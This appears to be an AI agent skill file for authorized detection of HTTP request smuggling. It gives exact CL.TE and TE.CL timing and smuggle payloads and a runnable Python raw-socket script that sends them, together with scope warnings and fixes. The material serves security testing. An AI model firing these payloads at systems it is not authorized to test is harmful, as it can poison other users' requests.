---
name: http-request-smuggling
description: Active HTTP request-smuggling (desync) detection for CL.TE and TE.CL via raw socket requests - timing probes plus differential confirmation with exact payloads. Use for authorized testing for request smuggling, HTTP desync, or a front-end and back-end that disagree on request length.
---

## Contents
- Scope & authorization
- Why raw sockets
- Methodology (timing probes then differential confirmation)
- Payloads (CL.TE and TE.CL, exact bytes)
- Runnable snippet
- Output

## Scope & authorization

Request smuggling is an ACTIVE, potentially disruptive check. A successful desync poisons the shared front-end-to-back-end connection: the smuggled prefix can attach to the *next* request on that socket, which in a real deployment may belong to another user. Run this only against hosts you own or are contractually engaged to test, and prefer a low-traffic window. The timing probes (Steps 2-3) are the safest first pass because they never leave a dangling prefix; the differential confirmations (Steps 4-5) do smuggle a real prefix and should follow only once timing suggests a desync.

The vulnerability exists when a request traverses two servers (CDN/load-balancer/reverse-proxy front-end, then an origin back-end) that disagree on where one request ends and the next begins. That disagreement comes from sending both a `Content-Length` (CL) and a `Transfer-Encoding: chunked` (TE) header: if the front-end honors one and the back-end the other, the leftover bytes are "smuggled." A single server with no proxy in front cannot desync, so a negative result on a direct-to-origin host is expected, not a clean bill.

Everything below sends bytes on a raw socket - you cannot craft these requests with `curl`, because clients and libraries normalize the conflicting headers and fix the framing. Send the exact bytes, including CRLF line endings.

## Why raw sockets

- The two framing headers (`Content-Length` and `Transfer-Encoding`) must both be present and must reach the server unmodified. HTTP libraries strip or reconcile them.
- Line endings must be real CRLF (`\r\n`). Author the payload with plain `\n` for readability, then convert every `\n` to `\r\n` before sending - matching the source templates exactly.
- Detection is per-connection and stateful: you open a fresh TLS socket, send one crafted request, read the response, and compare across two identical sends. The desync shows up on the *second* request.

## Methodology (run in order; each step is a check with a done/result state)

1. **Confirm a proxy chain exists.** Look for `Via`, `X-Cache`, `Server`, `X-Served-By`, or CDN fingerprints in a normal `curl -I`. A fronted host (Cloudflare/Akamai/Fastly/ALB/nginx) is the interesting case. Note the target and confirm port 443.
2. **CL.TE timing probe.** Send a request the front-end frames by `Content-Length` and the back-end by `Transfer-Encoding`, arranged so the back-end waits for a chunk that never completes. A response delay near the socket timeout indicates the back-end is stuck reading chunked data - i.e. CL.TE.
3. **TE.CL timing probe.** Mirror image: front-end frames by TE and finishes early on the `0` chunk, back-end frames by CL and waits for bytes that never arrive. A delay indicates TE.CL. (Send these against `/` with a method the app accepts; a normal fast baseline request first tells you what "no delay" looks like.)
4. **CL.TE differential confirmation.** Send the CL.TE smuggle payload below twice on two fresh connections. The front-end (CL) forwards the whole body; the back-end (TE) stops at the `0` chunk, leaving `GET /404 ...` buffered as the prefix of the next request. Report a finding when the SECOND response's status line is `404 Not Found` while the FIRST is not - the smuggled prefix rewrote the follow-up request's path.
5. **TE.CL differential confirmation.** Send the TE.CL smuggle payload below twice. The front-end (TE) reads the `5c`-sized chunk and terminates on `0`; the back-end (CL: 4) consumes only `5c\r\n` and leaves the `GPOST / HTTP/1.1 ...` block buffered as the next request's prefix. Report a finding when the SECOND response's status line is `403 Forbidden` while the FIRST is not - the smuggled invalid method poisoned the follow-up.
6. **Attribute and stop.** As soon as one variant confirms, record which one (CL.TE vs TE.CL) and the exact payload. Do not keep smuggling; each confirmed send may have poisoned one real connection. Re-run once to verify reproducibility, then report.

## Payloads (exact bytes; author with `\n`, send as `\r\n`)

**CL.TE timing probe (Step 2)** - back-end blocks waiting for the next chunk:
```
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
```

**TE.CL timing probe (Step 3)** - back-end blocks waiting for `Content-Length` bytes past the `0` chunk:
```
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6

0

X
```

**CL.TE differential smuggle (Step 4)** - `Content-Length: 35` spans the whole body; the `0` chunk ends the request for a TE back-end, leaving the `GET /404` prefix:
```
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X
```

**TE.CL differential smuggle (Step 5)** - `Content-length: 4` stops the CL back-end after `5c\r\n`, leaving the `GPOST` block; the `5c` (92-byte) chunk keeps a TE front-end happy through to the `0` terminator:
```
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

```

## Runnable snippet

Self-contained; no third-party libraries. Set `TARGET`, run once per variant. It opens a fresh TLS socket per send, normalizes line endings to CRLF, sends twice, and applies the differential test on the response status line.

```python
import socket, ssl, time

TARGET = "TARGET"
PORT = 443

def send(raw, timeout=10):
    payload = raw.replace("\r\n", "\n").replace("\n", "\r\n").encode("utf-8")
    res, elapsed = None, None
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        t0 = time.time()
        s.connect((TARGET, PORT))
        s = ssl.create_default_context().wrap_socket(s, server_hostname=TARGET)
        s.sendall(payload)
        res = s.recv(4096).decode("utf-8", errors="backslashreplace")
        elapsed = time.time() - t0
    except (ConnectionResetError, ssl.SSLCertVerificationError,
            socket.gaierror, socket.timeout):
        elapsed = time.time() - t0
    return res, elapsed

CLTE_TIMING = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

1
A
X"""

TECL_TIMING = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6

0

X"""

CLTE_SMUGGLE = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X"""

TECL_SMUGGLE = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

"""

def status_line(r):
    return r.split("\r\n")[0] if r else ""

def timing_probe(name, payload):
    _, e = send(payload, timeout=8)
    delayed = e is not None and e >= 7.5
    print(f"[{name}] elapsed={e:.1f}s -> {'DELAY (desync likely)' if delayed else 'no delay'}")

def differential(name, payload, indicator):
    r1, _ = send(payload)
    r2, _ = send(payload)
    if r1 is None or r2 is None:
        print(f"[{name}] no response / reset - inconclusive")
        return
    hit = indicator in status_line(r2) and indicator not in status_line(r1)
    print(f"[{name}] r1='{status_line(r1)}' r2='{status_line(r2)}' -> "
          f"{'CONFIRMED' if hit else 'not confirmed'}")

timing_probe("CL.TE timing", CLTE_TIMING)
timing_probe("TE.CL timing", TECL_TIMING)
differential("CL.TE", CLTE_SMUGGLE, "404 Not Found")
differential("TE.CL", TECL_SMUGGLE, "403 Forbidden")
```

The differential indicators are variant-specific and come straight from the templates: CL.TE succeeds when the smuggled `GET /404` surfaces as `404 Not Found` on the second response only; TE.CL succeeds when the smuggled `GPOST` surfaces as `403 Forbidden` on the second response only. A `None`/reset or a timeout on the differential test is inconclusive, not clean - many back-ends drop the poisoned connection instead of replying.

## Output

Finish with a `check / done? / result` ledger over the six steps, then a one-line verdict:
- **Clean** - proxy chain present, both timing probes returned promptly, and neither differential confirmation reproduced its indicator across two sends. State that the front-end and back-end agree on request framing.
- **Vulnerable** - name the confirmed variant (CL.TE or TE.CL), the step and indicator that proved it (`404 Not Found` / `403 Forbidden` on the second response), and the exact payload. Fix: make the front-end and back-end reconcile framing identically - normalize or reject any request carrying both `Content-Length` and `Transfer-Encoding`, prefer HTTP/2 end-to-end (which frames by length, not delimiters), and disable front-end connection reuse to the back-end so a smuggled prefix cannot attach to another request.

Report each step's true status - done, inconclusive, or not-run - so coverage is honest; a reset or timeout is never "clean."
